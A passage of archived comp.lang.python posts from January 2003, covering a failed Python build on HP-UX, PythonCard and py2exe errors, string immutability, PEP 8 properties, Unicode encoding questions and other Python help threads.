> So we ended up doing our own lock system, based on the (maybe wrong) idea 
> that a directory creation on any disk, shared or not, is supposed to be 
> atomic: either the directory doesn't exist, and the creation works, or the 
> directory already exists, and the creation fails.
> ...

What a nice idea.

But is this useful in a CGI environment?  I have never been able to
create files from a CGI script at my local ISP.  It *does* work if I
already have a file with the same name there so I used to do a lot of
``echo > filename``.  This makes me wonder if you have a trick to
create new files with a new filename, or do you also rewrite existing
files?


QOTD:

'''
                Hard Copies and Chmod

And everyone thinks computers are impersonal
cold diskdrives hardware monitors
user-hostile software 

of course they're only bits and bytes 
and characters and strings 
and files

just some old textfiles from my old boyfriend
telling me he loves me and
he'll take care of me

simply a discarded printout of a friend's directory
deep intimate secrets and
how he doesn't trust me

couldn't hurt me more if they were scented in lavender or mould
on personal stationery
                -- terri at csd4.milw.wisc.edu
'''



From edream at tds.net  Wed Jan  8 09:27:59 2003
From: edream at tds.net (Edward K. Ream)
Date: Wed, 08 Jan 2003 14:27:59 GMT
Subject: Too Self Centered
References: <mailman.1041984834.14592.python-list@python.org>
Message-ID: <PzWS9.117739$Hs2.11053026@kent.svc.tds.net>

> I'm writing my first real script and running into what appears to be a
> problem. Although this code works perfectly well, it seems to have way too
> many uses of *self.* in it.

I often use the following idiom for methods in Leo:

def spam(self,...):

    v = self
    # Now use v instead of self

The idea is to use one-letter codes for common classes. Leo uses c for
"commanders", f for frames, t for Tk.Text widgets or "tnodes", v for
"vnodes", u for "undoer" objects, etc.  With this idiom, objects of the
class in which the method exists are handled just like all other objects.
It saves typing and makes the type of all objects clear.

One could use:

def spam,(v,...):
    # etc.

instead, but that would violate the coding guidelines (and pychecker would
complain by default).

This scheme is simple, clear, concise, effective.  It has no drawbacks that
I know of.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From imiten at yahoo.com  Tue Jan  7 11:08:40 2003
From: imiten at yahoo.com (X3)
Date: 7 Jan 2003 08:08:40 -0800
Subject: python 2.2.2 on hpux11.0
References: <461d4acb.0301061720.fe0bcfd@posting.google.com> <3E1A31E7.F8D69DEB@alcyone.com>
Message-ID: <461d4acb.0301070808.6199fdfb@posting.google.com>

Hello group,

I am adding stdout and stderr of configure and make.  please let me
know if any questions.  I think I need c compiler and stuff.  thanks.

configure output:
-----------------

loading cache ./config.cache
checking MACHDEP... hp-ux11
checking for --without-gcc... no
checking for --with-cxx=<compiler>... no
checking for c++... no
checking for g++... no
checking for gcc... no
checking for CC... no
checking for cxx... no
checking for cc++... no
checking for cl... no
checking for gcc... (cached) cc
checking whether the C compiler (cc  ) works... yes
checking whether the C compiler (cc  ) is a cross-compiler... no
checking whether we are using GNU C... (cached) no
checking whether cc accepts -g... (cached) no
checking how to run the C preprocessor... (cached) cc -E
checking for AIX... no
checking for minix/config.h... (cached) no
checking for Cygwin environment... (cached) no
checking for mingw32 environment... (cached) no
checking for executable suffix... (cached) no
checking for --with-suffix... 
checking for case-insensitive build directory... no
checking LIBRARY... libpython$(VERSION).a
checking LINKCC... $(PURIFY) $(CC)
checking LDLIBRARY... libpython$(VERSION).a
checking for ranlib... (cached) ranlib
checking for ar... (cached) ar
checking for a BSD compatible install... ./install-sh -c
checking for --with-pydebug... no
checking whether cc -Ae accepts -OPT:Olimit=0... (cached) no
checking whether cc -Ae accepts -Olimit 1500... (cached) no
checking whether pthreads are available without options... (cached) no
checking whether cc -Ae accepts -Kpthread... (cached) no
checking for ANSI C header files... (cached) yes
checking for dlfcn.h... (cached) yes
checking for fcntl.h... (cached) yes
checking for grp.h... (cached) yes
checking for limits.h... (cached) yes
checking for langinfo.h... (cached) yes
checking for locale.h... (cached) yes
checking for ncurses.h... (cached) no
checking for poll.h... (cached) yes
checking for pthread.h... (cached) yes
checking for signal.h... (cached) yes
checking for stdarg.h... (cached) yes
checking for stddef.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for thread.h... (cached) no
checking for unistd.h... (cached) yes
checking for utime.h... (cached) yes
checking for termios.h... (cached) yes
checking for sys/audioio.h... (cached) no
checking for sys/file.h... (cached) yes
checking for sys/lock.h... (cached) yes
checking for sys/modem.h... (cached) yes
checking for db_185.h... (cached) no
checking for db.h... (cached) no
checking for sys/param.h... (cached) yes
checking for sys/poll.h... (cached) yes
checking for sys/select.h... (cached) no
checking for sys/socket.h... (cached) yes
checking for sys/time.h... (cached) yes
checking for sys/times.h... (cached) yes
checking for sys/un.h... (cached) yes
checking for sys/utsname.h... (cached) yes
checking for sys/wait.h... (cached) yes
checking for pty.h... (cached) no
checking for term.h... (cached) yes
checking for libutil.h... (cached) no
checking for ndbm.h... (cached) yes
checking for db1/ndbm.h... (cached) no
checking for gdbm/ndbm.h... (cached) no
checking for sys/resource.h... (cached) yes
checking for netpacket/packet.h... (cached) no
checking for dirent.h that defines DIR... (cached) yes
checking for opendir in -ldir... (cached) no
checking for clock_t in time.h... yes
checking for mode_t... (cached) yes
checking for off_t... (cached) yes
checking for pid_t... (cached) yes
checking return type of signal handlers... (cached) void
checking for size_t... (cached) yes
checking for uid_t in sys/types.h... (cached) yes
checking size of int... (cached) 4
checking size of long... (cached) 4
checking size of void *... (cached) 4
checking size of char... (cached) 1
checking size of short... (cached) 2
checking size of float... (cached) 4
checking size of double... (cached) 8
checking size of fpos_t... (cached) 8
checking for long long support... yes
checking size of long long... (cached) 8
checking for uintptr_t support... no
checking size of off_t... (cached) 8
checking whether to enable large file support... yes
checking size of time_t... (cached) 4
checking for pthread_t... yes
checking size of pthread_t... (cached) 0
checking for --enable-toolbox-glue... no
checking for --enable-framework... no
checking for dyld... no
checking SO... .sl
checking LDSHARED... ld -b
checking CCSHARED... +z
checking LINKFORSHARED... -Wl,-E -Wl,+s
-Wl,+b$(BINLIBDEST)/lib-dynload
checking CFLAGSFORSHARED... 
checking for dlopen in -ldl... (cached) no
checking for shl_load in -ldld... (cached) yes
checking for t_open in -lnsl... (cached) yes
checking for socket in -lsocket... (cached) no
checking for --with-libs... no
checking for --with-signal-module... yes
checking for --with-dec-threads... no
checking for --with-threads... yes
checking for _POSIX_THREADS in unistd.h... yes
checking for mach/cthreads.h... (cached) no
checking for --with-pth... no
checking for pthread_create in -lpthread... checking for
pthread_detach... (cached) yes
checking if PTHREAD_SCOPE_SYSTEM is supported... (cached) no
checking for pthread_sigmask... (cached) yes
checking for usconfig in -lmpc... (cached) no
checking for thr_create in -lthread... (cached) no
checking if --enable-ipv6 is specified... no
checking for --with-cycle-gc... yes
checking for --with-pymalloc... no
checking for --with-wctype-functions... no
checking for --with-sgi-dl... no
checking for --with-dl-dld... no
checking for dlopen... (cached) no
checking DYNLOADFILE... dynload_hpux.o
checking MACHDEP_OBJS... MACHDEP_OBJS
checking for alarm... (cached) yes
checking for chown... (cached) yes
checking for chroot... (cached) yes
checking for clock... (cached) yes
checking for confstr... (cached) yes
checking for ctermid... (cached) yes
checking for ctermid_r... (cached) no
checking for execv... (cached) yes
checking for flock... (cached) no
checking for fork... (cached) yes
checking for fsync... (cached) yes
checking for fdatasync... (cached) yes
checking for fpathconf... (cached) yes
checking for ftime... (cached) yes
checking for ftruncate... (cached) yes
checking for gai_strerror... (cached) no
checking for getgroups... (cached) yes
checking for getlogin... (cached) yes
checking for getpeername... (cached) yes
checking for getpid... (cached) yes
checking for getpwent... (cached) yes
checking for getwd... (cached) yes
checking for hstrerror... (cached) no
checking for inet_pton... (cached) no
checking for kill... (cached) yes
checking for link... (cached) yes
checking for lstat... (cached) yes
checking for mkfifo... (cached) yes
checking for mktime... (cached) yes
checking for mremap... (cached) no
checking for nice... (cached) yes
checking for pathconf... (cached) yes
checking for pause... (cached) yes
checking for plock... (cached) yes
checking for poll... (cached) yes
checking for pthread_init... (cached) no
checking for putenv... (cached) yes
checking for readlink... (cached) yes
checking for select... (cached) yes
checking for setegid... (cached) no
checking for seteuid... (cached) no
checking for setgid... (cached) yes
checking for setgroups... (cached) yes
checking for setlocale... (cached) yes
checking for setregid... (cached) yes
checking for setreuid... (cached) yes
checking for setsid... (cached) yes
checking for setpgid... (cached) yes
checking for setuid... (cached) yes
checking for setvbuf... (cached) yes
checking for snprintf... (cached) yes
checking for sigaction... (cached) yes
checking for siginterrupt... (cached) yes
checking for sigrelse... (cached) yes
checking for strftime... (cached) yes
checking for strptime... (cached) yes
checking for symlink... (cached) yes
checking for sysconf... (cached) yes
checking for tcgetpgrp... (cached) yes
checking for tcsetpgrp... (cached) yes
checking for tempnam... (cached) yes
checking for timegm... (cached) no
checking for times... (cached) yes
checking for tmpfile... (cached) yes
checking for tmpnam... (cached) yes
checking for tmpnam_r... (cached) no
checking for truncate... (cached) yes
checking for uname... (cached) yes
checking for unsetenv... (cached) no
checking for waitpid... (cached) yes
checking for _getpty... (cached) no
checking for getpriority... (cached) yes
checking for openpty... (cached) no
checking for openpty in -lutil... (cached) no
checking for forkpty... (cached) no
checking for forkpty in -lutil... (cached) no
checking for fseek64... (cached) no
checking for fseeko... (cached) yes
checking for fstatvfs... (cached) yes
checking for ftell64... (cached) no
checking for ftello... (cached) yes
checking for statvfs... (cached) yes
checking for dup2... (cached) yes
checking for getcwd... (cached) yes
checking for strdup... (cached) yes
checking for strerror... (cached) yes
checking for memmove... (cached) yes
checking for getpgrp... (cached) yes
checking for setpgrp... (cached) yes
checking for gettimeofday... (cached) yes
checking for getaddrinfo... no
checking for getnameinfo... (cached) no
checking whether time.h and sys/time.h may both be included...
(cached) yes
checking whether struct tm is in sys/time.h or time.h... (cached)
time.h
checking for tm_zone in struct tm... (cached) no
checking for tzname... (cached) yes
checking for st_rdev in struct stat... (cached) yes
checking for st_blksize in struct stat... (cached) yes
checking for st_blocks in struct stat... (cached) yes
checking for time.h that defines altzone... (cached) no
checking whether sys/select.h and sys/time.h may both be included...
no
checking for addrinfo... (cached) no
checking for sockaddr_storage... (cached) no
checking whether char is unsigned... (cached) no
checking for working const... (cached) no
checking for working volatile... yes
checking for working signed char... no
checking for prototypes... no
checking for variable length prototypes and stdarg.h... no
checking if sockaddr has sa_len member... no
checking for bad static forward... (cached) no
checking whether va_list is an array... no
checking for gethostbyname_r... (cached) no
checking for gethostbyname... (cached) yes
checking for __fpu_control... (cached) no
checking for __fpu_control in -lieee... (cached) no
checking for --with-fpectl... no
checking for --with-libm=STRING... default LIBM="-lm"
checking for --with-libc=STRING... default LIBC=""
checking for hypot... (cached) yes
checking what malloc(0) returns... (cached) null
checking for wchar.h... (cached) yes
checking size of wchar_t... (cached) 0
checking what type to use for unicode... unsigned short
checking whether byte ordering is bigendian... (cached) yes
checking whether right shift extends the sign bit... (cached) yes
checking for getc_unlocked() and friends... (cached) yes
checking for rl_pre_input_hook in -lreadline... (cached) no
checking for rl_completion_matches in -lreadline... (cached) no
checking for broken nice()... (cached) no
checking whether mvwdelch is an expression... (cached) no
checking whether WINDOW has _flags... (cached) no
checking for socklen_t... (cached) yes
checking for build directories... done
creating ./config.status
creating Makefile.pre
creating Modules/Setup.config
creating pyconfig.h
pyconfig.h is unchanged
creating Setup
creating Setup.local
creating Makefile




make output:
-------------
	cc -Ae -c -DNDEBUG -O -I. -I./Include -DHAVE_CONFIG_H  -o
Modules/python.o Modules/python.c
(Bundled) cc: warning 480: The -A option is available only with the
C/ANSI C product; ignored.
(Bundled) cc: warning 480: The -O option is available only with the
C/ANSI C product; ignored.
cpp: "./Include/Python.h", line 44: warning 2013: Unknown
preprocessing directive.
cpp: "./Include/pyport.h", line 86: warning 2013: Unknown
preprocessing directive.
cpp: "./Include/pyport.h", line 462: warning 2013: Unknown
preprocessing directive.
cpp: "./Include/pyport.h", line 480: warning 2013: Unknown
preprocessing directive.
cpp: "./Include/pyport.h", line 86: warning 2013: Unknown
preprocessing directive.
cpp: "./Include/pyport.h", line 462: warning 2013: Unknown
preprocessing directive.
cpp: "./Include/pyport.h", line 480: warning 2013: Unknown
preprocessing directive.
cpp: "./Include/objimpl.h", line 187: warning 2013: Unknown
preprocessing directive.
cpp: "./Include/unicodeobject.h", line 73: warning 2013: Unknown
preprocessing directive.
(Bundled) cc: "Include/pymem.h", line 88: error 1000: Unexpected
symbol: "size_t".
(Bundled) cc: "Include/object.h", line 103: error 1000: Unexpected
symbol: "*".
(Bundled) cc: "Include/object.h", line 104: error 1000: Unexpected
symbol: "*".
(Bundled) cc: error 2017: Cannot recover from earlier errors,
terminating.
*** Error exit code 1

Stop.











Erik Max Francis <max at alcyone.com> wrote in message news:<3E1A31E7.F8D69DEB at alcyone.com>...
> You wrote:
> 
> > I did fresh install on hpux 11.00 (typical install).  I then tried
> > installing python 2.2.2 and it gave errors in make.  Actually during
> > configure it has many "no" output.
> > 
> > could one guide how to proceed?
> 
> Some more information is going to be required if anyone is going to help
> you.  As in the exact errors you got.



From anthony at interlink.com.au  Tue Jan 14 09:06:21 2003
From: anthony at interlink.com.au (Anthony Baxter)
Date: Wed, 15 Jan 2003 01:06:21 +1100
Subject: OT: spam filtering idea 
In-Reply-To: <7h3lm1nsyhm.fsf@pc150.maths.bris.ac.uk> 
Message-ID: <200301141406.h0EE6Ls23982@localhost.localdomain>

>>> Michael Hudson wrote
> I'd install spambayes, but the starship is so thoroughly & viciously
> protected *anyway* that I only get a tiny amount of spam as it is...

One somewhat ironic point is that python.org is also very heavily 
spam-proofed - this results in any spams that do slip through the 
net getting a bunch of high ham-value clues (from received lines, &c).

On the other hand, the system _is_ doing it's job - after all, the
presence of python.org headers indicates that it's less likely to be
spam... and it's rare that these headers alone will push the message
into the (extremely small :) window that I consider ham.


-- 
Anthony Baxter     <anthony at interlink.com.au>   
It's never too late to have a happy childhood.





From a-steinhoff at web.de  Tue Jan 14 05:37:06 2003
From: a-steinhoff at web.de (Armin Steinhoff)
Date: 14 Jan 2003 02:37:06 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <ddc19db7.0301140237.45349302@posting.google.com>

Christian Tismer <tismer at tismer.com> wrote in message news:<mailman.1042427842.32098.python-list at python.org>...
> Bengt Richter wrote:
> > At 03:39 2003-01-13 +0100, Christian Tismer wrote:
> > [...]
> > 
> >>At the same time, as much as possible should become
> >>pluggable. It will be possible to have MiniPy

Mikro Kernel Python  -> MK-Python

Armin




> > 
> > [...]
> > 
> > Is "MiniPy" the official name ?
> 
> No.
> There is no official name, yet.
> For some time, I was thinking of
> "Lilipyt".
> "Ptn" was the first thought, while
> not sounding very sexy just expressing brevity.
> "Pippy" is already occupied.
> "Minipy"? Well, there are so many "py" projects,
> this makes it hard to come up with a good new name.
> 
> While a name is most unimportant for me,
> I agree that it *is* important for the
> community to be able to spell it.
> 
> Anyone having some good suggestions?
> 
> Good night -- chris



From max at alcyone.com  Fri Jan 24 06:07:00 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 03:07:00 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2F9732.795D5FD3@alcyone.com> <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net> <3E308B05.913B1180@alcyone.com> <M87Y9.355$U27.35796@newsread2.prod.itd.earthlink.net>
Message-ID: <3E311E54.B692895E@alcyone.com>

Terry Hancock wrote:

> Yeah, maybe I should've mentioned that -- one might try to think of
> these
> numbers as being percentages of "all software development pages", but
> of
> course, they're not. It's just a percentage of the pages listed.  It
> might
> make more sense to scale relative to one representative member. But
> which
> one?

It's a good question.  Perhaps the arithmetic mean, geometric mean, or
even the median of all of them.  Perhaps even the results of the top
ranker, and then everything is represented as a percentile of the front
(again, not percentage of the total, but percentage of the front
runner).  The latter has the benefit of being totally impervious to the
addition of new elements (unless, of course, when added they rank first
:-).

It doesn't much matter, so long as it doesn't lead people to a pie chart
fallacy (everything's taking pieces of a finite pie, when that isn't
objectively the case), and the figures are relatively stable with
respect to the raw data.

Mind you, I never meant to suggest that you were trying to impose that
"pie chart fallacy" I mentioned above.  I only mentioned it because I
had thought of a similar representation of data in a similar
circumstance, and specifically decided against it for the very reason
that it made it look like everybody was taking pieces of a pie that
wasn't there :-).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I am a gentlemen:  I live by robbing the poor.
\__/ George Bernard Shaw
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From lac at strakt.com  Sat Jan 11 02:01:46 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 11 Jan 2003 08:01:46 +0100
Subject: Stackless Python, Tail Recursion and Functional Programming 
In-Reply-To: Message from beno <zope@thewebsons.com> 
   of "Sat, 11 Jan 2003 01:18:05 -0400." <5.1.0.14.0.20030111011527.021ee5e0@mail.thewebsons.com> 
References: <5.1.0.14.0.20030111011527.021ee5e0@mail.thewebsons.com> 
Message-ID: <200301110701.h0B71kjL023043@ratthing-b246.strakt.com>

Christian Tismer is the man responsible for Stackless.

You will be interested in this new announcement:

http://mail.python.org/pipermail/python-announce-list/2003-January/001964.html

So you could reinforce your idea 'something that does tail recursions
would be nice'...

HTH,
Laura Creighton




From tim at frontier.net.nospam  Tue Jan 21 02:55:00 2003
From: tim at frontier.net.nospam (Tim H)
Date: Tue, 21 Jan 2003 00:55:00 -0700
Subject: PythonCard 0.7
References: <pfNW9.68$pa1.228518@news.uswest.net>
Message-ID: <v2pv6ncles6r36@corp.supernews.com>

Just wondering if anybody has 0.7 working on Win2k, because it doesn't work
here.  I uninstalld the previos version, removed the PythonCardPrototype
directory and used the installer version of 0.7.  Any attempt to use any of
the samples or tools gives an error like this:

C:\Python\Lib\site-packages\PythonCardPrototype\samples>samples.py
unable to create config directory %USERPROFILE%\.pythoncard
Traceback (most recent call last):
  File "C:\Python\Lib\site-packages\PythonCardPrototype\samples\samples.py",
lin
e 8, in ?
    from PythonCardPrototype import dialog, model
  File "C:\PYTHON\lib\site-packages\PythonCardPrototype\dialog.py", line 9,
in ?

    import font
  File "C:\PYTHON\lib\site-packages\PythonCardPrototype\font.py", line 8, in
?
    import res
  File "C:\PYTHON\lib\site-packages\PythonCardPrototype\res.py", line 10, in
?
    import pom
  File "C:\PYTHON\lib\site-packages\PythonCardPrototype\pom.py", line 8, in
?
    import event, dispatch, registry
  File "C:\PYTHON\lib\site-packages\PythonCardPrototype\event.py", line 7,
in ?
    import log
  File "C:\PYTHON\lib\site-packages\PythonCardPrototype\log.py", line 7, in
?
    import config
  File "C:\PYTHON\lib\site-packages\PythonCardPrototype\config.py", line 55,
in
?
    shutil.copy2(os.path.join(default_homedir, file), path)
  File "C:\Python\lib\shutil.py", line 73, in copy2
    copyfile(src, dst)
  File "C:\Python\lib\shutil.py", line 29, in copyfile
    fdst = open(dst, 'wb')
IOError: [Errno 2] No such file or directory:
'%USERPROFILE%\\.pythoncard\\pytho
ncard_config.txt'

I have manually created the .pythoncard directory and copied
pythoncard_config.txt and stc-styles.rc.cfg and still nogo.  Have used
previous versions with no problem.

Judging from the PythonCard Sourceforge site the .pythoncard stuff was added
very recently, does it work for anybody else?

Thanks,
Tim

PS Python 2.2.2, wxWindows 2.4.0.1, Win2K SP3





From tismer at tismer.com  Mon Jan 13 23:05:09 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 05:05:09 +0100
Subject: Stackless Python, Tail Recursion and Functional   Programming
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEGIDIAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCIEGIDIAB.tim.one@comcast.net>
Message-ID: <3E238C75.3070606@tismer.com>

Tim Peters wrote:
...

> Except when I'm paid not to -- but nobody is paying me enough for that these
> days.  Ouch -- truth *does* hurt <wink>!

I'd love to be able to pay you, but you are invaluable.

> I heartily approve of your plans to change the truth about nothing faster
> than CPython being possible.  I wouldn't start that by worrying about tail
> recursion, though.

Never really worried about tail recursion. It's a general
question about Python, same category as macros.
Python is not a subject to get changed. It is, instead,
the only fixed point we have, and we'll do everything to keep it.

> if-god-didn't-like-loops-he-wouldn't-have-given-guido-absolute-
>     power-ly y'rs  - tim

M?ge die Macht mit ihm sein -- a Jedi






From bub at joos.us  Sun Jan 12 07:15:32 2003
From: bub at joos.us (Bubba)
Date: Sun, 12 Jan 2003 12:15:32 GMT
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> <3E205B02.3F201C08@engcorp.com> <jrq02v4rb3le6hfth6sk8nd8io1t8fmtt9@4ax.com> <3E207901.7090200@tc.umn.edu>
Message-ID: <vtm22vg2ciqsigmrct594ltlqq1v6el9dk@4ax.com>

On Sat, 11 Jan 2003 14:05:21 -0600, Michael Urban
<urba0083 at tc.umn.edu> wrote:Thanks Mike, that fixed the problem, now
I've got additional errors. I'll se if I can resolve these before
posting. I'm simply trying to see if I can create a windows executable
before spending time learning Python, I guess this is obvious. I am
also using PythonCard, this may be part of the problem.

>Bubba wrote:
>
> > This is my setup.py
> > # setup.py
> >    from distutils.core import setup
> >    import py2exe
> >
> >    setup(name="counter",
> >          scripts=["counter.py"],
> >    )
>
>
>And therein lies your syntax error. "from distutils.core import setup" 
>cannot be indented since Python uses indentation for delimiting code 
>blocks. "from" is part of the main block. Indenting it is causing the 
>syntax error. That's why the carrot in the traceback is pointing to the 
>first letter of "from" as well.
>
>You also need to remove the indentation from all of the other statements 
>because they are all part of the main code block. My fortune telling for 
>you is that if you only remove it from the one starting with "from", the 
>next error you will get is:
>
>C:\Python22>python setup.py py2exe
>   File "setup.py", line 4
>     import py2exe
>     ^
>SyntaxError: invalid syntax
>
>Remove the intendations and you should be fine.




From mwh at python.net  Fri Jan 31 12:39:40 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 31 Jan 2003 17:39:40 GMT
Subject: mention of books & extensions welcome, or...? (was Re: Scripting *of* Python)
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net> <soy_9.151609$AA2.6131659@news2.tin.it>
Message-ID: <7h3d6mdw76c.fsf@pc150.maths.bris.ac.uk>

Alex Martelli <aleax at aleax.it> writes:

> Is this just an isolated opinion, with most readers still
> welcoming mentions and details about Python books and
> extension packages; or, has comp.lang.python's consensus
> shifted so drastically, so fast, so that such mentions are
> now seen as undesirable "product placement"???

No.

-- 
  Two things I learned for sure during a particularly intense acid
  trip in my own lost youth: (1) everything is a trivial special case
  of something else; and, (2) death is a bunch of blue spheres.
                                             -- Tim Peters, 1 May 1998



From peter at engcorp.com  Tue Jan 28 09:31:58 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 09:31:58 -0500
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com> <3E35A9B3.87D605DC@engcorp.com> <889cbba0.0301271948.3c8843fc@posting.google.com>
Message-ID: <3E36945E.D7320E4@engcorp.com>

Kamilche wrote:
> 
> Peter Hansen <peter at engcorp.com> wrote in message news:<3E35A9B3.87D605DC at engcorp.com>...
> >
> > Finish up your example by typing "quest" again:
> >
> > >>> quest
> > 'what is your favorite color?'
> >
> > Hmm.... neither very centered, nor capitalized, is it?  So it hasn't
> > been modified. ;-)
> >
> 
> Heheheh, I get it now, thanks. :-)
> 
> Calling a method on a string SEEMS like it should modify the original,
> not create a new one, but I guess strings are 'special' all the way
> around.  To me, it's kinda like saying 'person.logon(logonid,
> password)' creating a new person object and logging them on, while
> leaving the original person untouched.

There's actually a very good reason to design classes with the property
of immutability, so that you *don't* get that kind of effect.  Otherwise,
when you have multiple references to an object and the owner of one of
those references changes the object, all the other owners see the change
(an effect called aliasing).  Only *sometimes* is this the behaviour you
want, so don't assume it should always work this way.

-Peter



From nhodgson at eb2.net.au  Wed Jan 15 17:09:59 2003
From: nhodgson at eb2.net.au (Neil Hodgson)
Date: Wed, 15 Jan 2003 22:09:59 GMT
Subject: Performance penalty for using classes?
References: <33803989.0301120004.76e09b9a@posting.google.com> <33803989.0301142350.1af9e278@posting.google.com> <mailman.1042657362.26925.python-list@python.org> <NIjV9.3969$YI5.2600@news2.central.cox.net>
Message-ID: <X_kV9.15996$UB4.73256@news-server.bigpond.net.au>

Steve Holden wrote:
 >>>long iterations = 1000000;
>>
> [...]
> [Python]
> 
>>>        iterations = 100000
>>
> [...]
> 
> Yes, it's an unfortunate discrepancy between the Python and C code that the
> latter runs ten times as many tests :-(

    It is bugs like this that make adding some optional punctuation to 
numbers a good idea. As in Ada:
iterations = 1_000_000
    or for any Indians:
iterations = 100_0000

    Neil




From jbperez808 at yahoo.com  Fri Jan 17 03:41:46 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 17 Jan 2003 00:41:46 -0800
Subject: PEP 8: on member variables vs. attributes
Message-ID: <f57664b9.0301170041.46cc103e@posting.google.com>

>From PEP 8:

Designing for inheritance

      ...  In general, never make data
      variables public unless you're implementing essentially a
      record.  It's almost always preferrable to give a functional
      interface to your class instead (and some Python 2.2
      developments will make this much nicer)...

But don't properties and data variables (as attributes) look 
the same anyway?  So what's the diff between them, functionally
speaking?  Hasn't it been decided that get/set accessor
functions are a real hassle and that is why we see the concept
of a property replacing that of accessor methods (Delphi's
Object Pascal seems to have pioneered this) in newer
languages like C# and now also in Python via descriptors?
That would seem to contradict this particular point found in 
PEP 8.



From opengeometry at yahoo.ca  Thu Jan  2 15:40:00 2003
From: opengeometry at yahoo.ca (William Park)
Date: 2 Jan 2003 20:40:00 GMT
Subject: Cube Roots
References: <av24ff$qe3$1@ns2.gonzaga.edu>
Message-ID: <av2830$bf3v4$1@ID-99293.news.dfncis.de>

John Smith <someone at microsoft.com> wrote:
> How does one take a root higher than square roots in Python?  Can I
> take the cube root of a number?

Pretty much like other languages -- y**(x), math.pow(y, x), ie.
    8**(1/3.0)
    math.pow(8, 1/3.0)

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 



From mcfletch at rogers.com  Fri Jan 31 00:06:36 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 31 Jan 2003 00:06:36 -0500
Subject: Reliably getting/setting the (current) encoding name?
Message-ID: <3E3A045C.7050500@rogers.com>

I've just discovered a bug in one of my libraries where I bomb out when 
a unicode value is passed which uses characters > 127 in the local 
code-page (e.g. u"?" (a-accent-ague (sorry for the spelling, been a 
while since French class)).  These values are being encoded by the GUI 
library as unicode values (under certain versions of the GUI library), 
but the application needs the values in local-code-page str objects 
(yes, eventually it will all move to Unicode, but that's a much bigger 
project than I can tackle just at the moment).

So, thinks I, just call value.encode() on the objects.
    UnicodeError: ASCII encoding error: ordinal not in range(128)
Weird, thinks I, why isn't the platform default encoding available, oh 
well, let's use locale to set the default locale and then move on with 
our lives:
    import locale
    locale.setlocale(locale.LC_ALL, '')
but value.encode() still gives:
    UnicodeError: ASCII encoding error: ordinal not in range(128)

Well, thinks I, getting a little exasperated, let's just find out what 
the name of the default encoding is and pass that explicitly to encode 
every place we do a string-formatting print or log or attribute-set (ick):
    locale.getdefaultlocale()[1]
seems to be what I'm after.  It's a Windows-specific name for the 
encoding (cp1252), but I hope in my heart that it'll be platform 
appropriate and == an encoding-name somewhere.  

But wait, this library is supposed to be reused in other applications. 
 Shouldn't I be using the current locale instead? No problem, locale has 
a handy-dandy getlocale() function.  Unfortunately, what that returns is 
a bare number, rather than an encoding-name.  Sure, I could just add 
"cp" to everything, but I'm pretty sure that'd break for non-MS platforms.

The codecs module doesn't appear to have a "get default codec name" 
function.  So I'm asking the question:

    How does one reliably get the currently-active default codec name 
(i.e. the one that reflects the currently-set locale) as suitable for 
use with uncode.encode( ... )?

and idealy:

    How does one set the default encoding to be used by:
        str( unicode )
    and
        "My log message: value = %s"%( unicode )
    ?

to avoid ASCII-encoding errors everywhere, without having to add 
conversion code all over the joint?

Thoughts appreciated,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From pedro_rodriguez at club-internet.fr  Wed Jan 22 02:53:00 2003
From: pedro_rodriguez at club-internet.fr (Pedro Rodriguez)
Date: Wed, 22 Jan 2003 08:53:00 +0100
Subject: SNQ: stdin with both a pipe and keyboard
References: <slrnb2r87t.tfl.ressler@cheetah.jpl.nasa.gov> <5hr0g-4m3.ln1@beastie.ix.netcom.com>
Message-ID: <b0lil3$q7t$1@s1.read.news.oleane.net>

On Tue, 21 Jan 2003 22:43:33 +0100, Dennis Lee Bieber wrote:

> Michael Ressler fed this fish to the penguins on Tuesday 21 January 2003
> 11:35 am:
> 
> 
>> I've been using sys.stdin.read() to suck in the data, but if I then use
>> raw_input() or something like it to ask for the filename, I get an EOF
